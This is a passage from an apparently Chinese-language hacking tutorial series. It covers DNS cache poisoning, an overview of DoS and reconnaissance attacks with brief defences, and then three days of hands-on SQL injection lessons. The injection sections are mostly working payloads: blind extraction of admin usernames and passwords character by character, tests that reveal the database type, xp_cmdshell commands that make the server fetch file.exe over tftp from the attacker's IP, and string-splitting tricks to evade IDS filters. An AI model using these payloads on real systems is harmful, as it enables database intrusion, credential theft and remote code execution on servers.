这样一来,一个本想访问http://www.competitor.com的用户会被带到另外一个地方,甚至是敌对的公司的竹叶(想想把华为和北电联起来是什么样的感觉. :) ).并且发给company.com的邮件会被发送给mail.compertitor.com.(越来越觉得在网络上的日子不踏实! xxbin这样想).

4>.限制

对这些攻击,也有一定的限制.

首先,攻击者不能替换缓存中已经存在的记录.比如说,如果在98.76.54.32这个DNS服务器上已经有一条www.company.com的CNAME记录,那么攻击者试图替换为www.competitor.com将不会成功.然而,一些记录可以累加,比如A记录,如果在DNS的缓存中已经存在一条www.company.com的A记录为1.2.3.4,而攻击者却欺骗DNS服务器说www.company.com的A记录为4.3.2.1,那么www.company.com将会有两个A记录,客户端查询时会随机返回其中一个.(呵呵,这不是loading balance么?)

其次,DNS服务器有个缓存刷新时间问题,如果www.netbuddy.org的TTL为7200,那么DNS服务器仅仅会把www.netbuddy.org的信息缓存7200秒或者说两个小时.如果攻击者放入一条TLL为604800的A记录,那么这条记录将会在缓存中保存一周时间,过了默认的两天后,这个DNS服务器就会到处"分发"攻击者假造的记录.

下面是常用的几种可以累加和不能累加的记录:

A can add

NS can add

MX can add

PTR cannot add

CNAME cannot add

再说说网络攻击的几种形式吧,说这个不是叫大家去攻击别人而是作为一种了解而已

1、服务拒绝攻击

服务拒绝攻击企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务,服务拒绝攻击是最容易实施的攻击行为,主要包括:

死亡之ping (ping of death)

概览:由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。

防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows98之后的windows,NT(service

pack 3之后),linux、Solaris、和Mac OS都具有抵抗一般ping of

death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。

泪滴(teardrop)

概览:泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括service

pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。

防御:服务器应用最新的服务包,或者在设置防火墙时对分段进行重组,而不是转发它们。

UDP洪水(UDP flood)

概览:各种各样的假冒攻击利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,如果足够多的数据流就会导致带宽的服务攻击。

防御:关掉不必要的TCP/IP服务,或者对防火墙进行配置阻断来自Internet的请求这些服务的UDP请求。

SYN洪水(SYN flood) 现在最流行的DDOS攻击的一种

概览:一些TCP/IP栈的实现只能等待从有限数量的计算机发来的ACK消息,因为他们只有有限的内存缓冲区用于创建连接,如果这一缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接停止响应,直到缓冲区里的连接企图超时。在一些创建连接不受限制的实现里,SYN洪水具有类似的影响。

防御:在防火墙上过滤来自同一主机的后续连接。

未来的SYN洪水令人担忧,由于释放洪水的并不寻求响应,所以无法从一个简单高容量的传输中鉴别出来。

Land攻击

概览:在Land攻击中,一个特别打造的SYN包它的原地址和目标地址都被设置成某一个服务器地址,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时掉,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续五分钟)。

防御:打最新的补丁,或者在防火墙进行配置,将那些在外部接口上入站的含有内部源地址滤掉。(包括

10域、127域、192.168域、172.16到172.31域)

Smurf攻击

概览:一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比ping

of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。

防御:为了防止黑客利用你的网络攻击他人,关闭外部路由器或防火墙的广播地址特性。为防止被攻击,在防火墙上设置规则,丢弃掉ICMP包。

Fraggle攻击

概览:Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP

防御:在防火墙上过滤掉UDP应答消息

电子邮件炸弹

概览:电子邮件炸弹是最古老的匿名攻击之一,通过设置一台机器不断的大量的向同一地址发送电子邮件,攻击者能够耗尽接受者网络的带宽。

防御:对邮件地址进行配置,自动删除来自同一主机的过量或重复的消息。

畸形消息攻击

概览:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进行适当正确的错误校验,在收到畸形的信息可能会崩溃。

防御:打最新的服务补丁。

2、利用型攻击

利用型攻击是一类试图直接对你的机器进行控制的攻击,最常见的有三种:

口令猜测

概览:一旦黑客识别了一台主机而且发现了基于NetBIOS、Telnet或NFS这样的服务的可利用的用户帐号,成功的口令猜测能提供对机器的控制。

防御:要选用难以猜测的口令,比如词和标点符号的组合。确保像NFS、NetBIOS和Telnet这样可利用的服务不暴露在公共范围。如果该服务支持锁定策略,就进行锁定。

特洛伊木马

概览:特洛伊木马是一种或是直接由一个黑客,或是通过一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限,安装此程序的人就可以直接远程控制目标系统。最有效的一种叫做后门程序,恶意程序包括:NetBus、BackOrifice和BO2k,用于控制系统的良性程序如:netcat、VNC、pcAnywhere。理想的后门程序透明运行。

防御:避免下载可疑程序并拒绝执行,运用网络扫描软件定期监视内部主机上的监听TCP服务。

缓冲区溢出

概览:由于在很多的服务程序中大意的程序员使用象strcpy(),strcat()类似的不进行有效位检查的函数,最终可能导致恶意用户编写一小段利用程序来进一步打开安全豁口然后将该代码缀在缓冲区有效载荷末尾,这样当发生缓冲区溢出时,返回指针指向恶意代码,这样系统的控制权就会被夺取。

防御:利用SafeLib、tripwire这样的程序保护系统,或者浏览最新的安全公告不断更新操作系统。

3、信息收集型攻击

信息收集型攻击并不对目标本身造成危害,如名所示这类攻击被用来为进一步入侵提供有用的信息。主要包括:扫描技术、体系结构刺探、利用信息服务

扫描技术

地址扫描

概览:运用ping这样的程序探测目标地址,对此作出响应的表示其存在。

防御:在防火墙上过滤掉ICMP应答消息。

端口扫描

概览:通常使用一些软件,向大范围的主机连接一系列的TCP端口,扫描软件报告它成功的建立了连接的主机所开的端口。

防御:许多防火墙能检测到是否被扫描,并自动阻断扫描企图。

反响映射

概览:黑客向主机发送虚假消息,然后根据返回“host

unreachable”这一消息特征判断出哪些主机是存在的。目前由于正常的扫描活动容易被防火墙侦测到,黑客转而使用不会触发防火墙规则的常见消息类型,这些类型包括:RESET消息、SYN-ACK消息、DNS响应包。

防御:NAT和非路由代理服务器能够自动抵御此类攻击,也可以在防火墙上过滤“host unreachable”ICMP应答。

慢速扫描

概览:由于一般扫描侦测器的实现是通过监视某个时间桢里一台特定主机发起的连接的数目(例如每秒10次)来决定是否在被扫描,这样黑客可以通过使用扫描速度慢一些的扫描软件进行扫描。

防御:通过引诱服务来对慢速扫描进行侦测。

体系结构探测

概览:黑客使用具有已知响应类型的数据库的自动工具,对来自目标主机的、对坏数据包传送所作出的响应进行检查。由于每种操作系统都有其独特的响应方法(例NT和Solaris的TCP/IP堆栈具体实现有所不同),通过将此独特的响应与数据库中的已知响应进行对比,黑客经常能够确定出目标主机所运行的操作系统。

防御:去掉或修改各种Banner,包括操作系统和各种应用服务的,阻断用于识别的端口扰乱对方的攻击计划。

利用信息服务

DNS域转换

概览:DNS协议不对转换或信息性的更新进行身份认证,这使得该协议被人以一些不同的方式加以利用。如果你维护着一台公共的DNS服务器,黑客只需实施一次域转换操作就能得到你所有主机的名称以及内部IP地址。

防御:在防火墙处过滤掉域转换请求。

Finger服务

概览:黑客使用finger命令来刺探一台finger服务器以获取关于该系统的用户的信息。

防御:关闭finger服务并记录尝试连接该服务的对方IP地址,或者在防火墙上进行过滤。

LDAP服务

概览:黑客使用LDAP协议窥探网络内部的系统和它们的用户的信息。

防御:对于刺探内部网络的LDAP进行阻断并记录,如果在公共机器上提供LDAP服务,那么应把LDAP服务器放入DMZ。

4、假消息攻击

用于攻击目标配置不正确的消息,主要包括:DNS高速缓存污染、伪造电子邮件。

DNS高速缓存污染

概览:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得黑客可以将不正确的信息掺进来并把用户引向黑客自己的主机。

防御:在防火墙上过滤入站的DNS更新,外部DNS服务器不应能更改你的内部服务器对内部机器的认识。

伪造电子邮件

概览:由于SMTP并不对邮件的发送者的身份进行鉴定,因此黑客可以对你的内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附带上可安装的特洛伊木马程序,或者是一个引向恶意网站的连接。

防御:使用PGP等安全工具并安装电子邮件证书。

此外有篇文章,在这值得所有人看看:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=699

『第19天』SQL注入攻击

在第9天到第11天我们介绍了SQL这个概念,后来因为大家反映没用(其实是很有用的,基础不好怎么晋级呢?)

今天我们就来好好说说利用SQL进行攻击

什么是SQL注入式攻击?

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。常见的SQL注入式攻击过程类如:

⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。

⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:

System.Text.StringBuilder query = new System.Text.StringBuilder(

"SELECT * from Users WHERE login = '")

.Append(txtLogin.Text).Append("' AND password='")

.Append(txtPassword.Text).Append("'");

⑶ 攻击者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。

⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。

⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。

⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。

如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。

(对于这里有些名词如果你不太了解,请你翻阅以前的教程)

今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入

在地址栏输入:

and 1=1

查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表

在地址栏:

and 0<>(select count(*) from admin)

返回页正常,假设成立了。

下面来猜猜看一下管理员表里面有几个管理员ID:

and 1<(select count(*) from admin)

页面什么都没有。管理员的数量等于或者小于1个

and 1=(select count(*) from admin)

输入=1没显示错误,说明此站点只有一个管理员。

下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)>0)

猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu

用户名称字段猜解完成之后继续猜解密码字段

and 1=(select count(*) from admin where len(password)>0)

password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧

我们已经知道了管理员表里面有3个字段 id,user,password。

id 编号

user 用户名

password 密码

下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

先猜出长度!

and 1=(select count(*) from admin where len(user)<10)

user 字段长度小于10

and 1=(select count(*) from admin where len(user)<5)

user 字段长度不小于5

慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确

and 1=(select count(*) from admin where len(user)=6)

下面猜密码,

and 1=(select count(*) from admin where len(password)=10)

猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了

下面该做的就是把他们拆开来一个一个猜字母

and 1=(select count(*) from admin where left(user,1)=a)

返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了

开始猜解帐号的第二位字符。

and 1=(select count(*) from admin where left(user,2)=ad)

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

其实猜出了前几个字母你就自己可以想像了,用到社会工程学了哟~,比如猜到了ad ,你就可以猜了

administrator,or ,admin,or ,adminstra.......这样猜的效率比较高哟!

工作还没有完,别忙着跑了,还有10位密码,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

经过无数次错误之后(首先大家得有个准备SQL注入有时候就是很烦的)

htttp://host/news/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)

结果密码是administra

就这么简单,我只是举个很简单的例子,想大家应该会灵活应用,当然我还会讲多一些方法的

。今天就到这,因为这2天有点事,所以还请大家多多谅解

『第20天』继续说sql injection

sql injection也就是昨天说的SQL注入(也可以有其他的翻译,反正我喜欢用注入这个词)

昨天只举了个简单的例子,今天咱们来深入讨论这个吧

SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 这个昨天有提到但不全面今天我特地再说一遍。

SQL injection使得攻击者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子:

某 Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息,然后该表单被发送到 Web 服务器进行处理。接下来,服务器端的ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器,并通过分析 SQL 服务器的返回结果来判断该用户名/密码组合是否有效。

为了实现这样的功能,Web 程序员可能会设计两个页面:一个 HTML 页面 (Login.htm) 用于登录,另一个ASP 页面 (ExecLogin.asp) 用于验证用户权限(即向数据库查询用户名/密码组合是否存在)。具体代码可能象这样:

Login.htm (HTML 页面)

代码:<form action="ExecLogin.asp" method="post"> Username: <input type="text" name="txtUsername">

Password: <input type="password" name="txtPassword">

<input type="submit"> </form>

ExecLogin.asp (ASP 页面)

代码:<% Dim p_strUsername, p_strPassword, objRS, strSQL p_strUsername = Request.form("txtUsername") p_strPassword = Request.form("txtPassword") strSQL = "SELECT * FROM tblUsers " & _ "WHERE Username='" & p_strUsername & _ "' and Password='" & p_strPassword & "'" Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("Username") End If Set objRS = Nothing %>

乍一看,ExecLogin.asp 的代码似乎没有任何安全漏洞,因为用户如果不给出有效的用户名/密码组合就无法登录。然而,这段代码偏偏不安全,而且它正是SQL 指令植入式攻击的理想目标。具体而言,设计者把用户的输入直接用于构建SQL 指令,从而使攻击者能够自行决定即将被执行的 SQL 指令。例如:攻击者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是,提交给数据库的 SQL 指令就可能是:

代码:SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''

这样,SQL 服务器将返回 tblUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为攻击者的输入符合 tblUsers 表格中的第一条记录,从而允许攻击者以该用户的名义登入网站。

SQL 指令植入式攻击还有另一种形式,它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子,此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值,然后根据 ID 值动态生成后继页面:

代码:<% Dim p_lngID, objRS, strSQL p_lngID = Request("ID") strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (Not objRS.EOF) Then Response.Write objRS("ArticleContent") Set objRS = Nothing %>

在一般情况下,此 ASP 脚本能够显示具有特定 ID 值的文章的内容,而 ID 值是由 URL 中的 querystring 参数指定的。例如:当URL为 http://www.example.com/Article.asp?ID=1055 时,ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。

如同前述登录页面的例子一样,此段代码也向SQL 指令植入式攻击敞开了大门。有些用户(比如我们)可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说,把 URL 换成 http://www.example.com/Article.asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如:

代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1

于是,数据库将会返回所有文章的内容。

当然了,本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉,比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了!例如:任何人都可以通过 “http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。

但程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改<input>标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。

在大多数ASP站点中,我们并不知道其程序代码,*任何扫描器也不可能发现SQL injection漏洞,这时就要*手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如:

代码:

http://localhost/show.asp?id=1'

http://localhost/show.asp?id=1;

……

通过页面返回的信息,判断是否存在SQL injection漏洞,只是最简单的通过字符过滤来判断,根据IIS配置不同,返回的信息是不定的,有时显示

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/register/lostpass2.asp,行15

有时可能会显示“HTTP 500 - 内部服务器错误”,也可能显示原来的页面,也就是页面正常显示,更可能提示“HTTP 404 – 找不到该页”,判断是否有漏洞就要有个最基本的根据——经验,这个就*大家自己去领悟了。

如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。最近越发的开始崇拜PSkey了

提交数据

我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。

代码:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--

正如前面所说,提交这样的信息浏览器会返回出错信息或500错误,我们怎么才能知道执行是否成功呢?isno的办法是用nc监听本机端口,然后提交nslookup命令来查询,我个人觉得有些麻烦,直接用tftp来有多种好处,能知道命令是否成功执行;能获得SQL服务器的IP从而判断SQL服务器的位置;还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令,在玩unicode漏洞的时候大家就炉火纯青了吧?列如:

代码:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--

有时提交的数据并不一定起作用,看你怎么绕过程序的检测了,如果幸运成功的话,可以看到tftp软件的窗口出现从本机下载文件的信息了。

对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的了。

饶过程序/IDS检测

大多数时候,情况并非我们想象的那么顺利,明明字符过滤不完善,但程序或IDS检测到用户提交某个扩展存储过程或系统命令,就自动转换或拆分字符,让我们提交的数据分家或改变导致失效,怎么办呢?我记得我为了弄清如何饶过IDS检测,花了两节课的时间来思考,还写写画画浪费了半本笔记本,又因为看了Pskey的文章的提示,就产生一个思路:拆分命令字符串,赋值给变量,然后把变量组合起来提交,这样就不会分家了,下面给出两个例子:

代码:

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

有时候并不需要这样,只要把某些字符换ASCII代码,同样也可以成功执行,这个我还没有条件试,如果哪位高人有这方面的研究,请赐教。

最后,为了减轻SQL njection的危害,请限制 Web 应用程序所用的数据库访问帐号权限。一般来说,应用程序没有必要以 dbo 或者 sa 的身份访问数据库。记住,给它的权限越少,你的网站越安全!你还可以考虑分别给每个需要访问数据库的对象分配只拥有必需权限的帐号,以分散安全漏洞。例如:同是前端用户界面,当用于公共场所时就比用于具有本地内容管理机制的平台时更加需要严格限制数据库访问权限。

『第21天』深入SQL注入

前面我们说可以通过一些返回信息来判断SQL注入,但首先不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

那么,什么样的测试方法才是比较准确呢?答案如下:

① http://host/showdetail.asp?id=49

② http://host/showdetail.asp?id=49 ;;and 1=1

③ http://host/showdetail.asp?id=49 ;;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,下面我们在来坐分析。

不过我们先来说一个问题:

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://host/showdetail.asp?id=49 ;;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://host/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)>0

http://host/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://host/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤: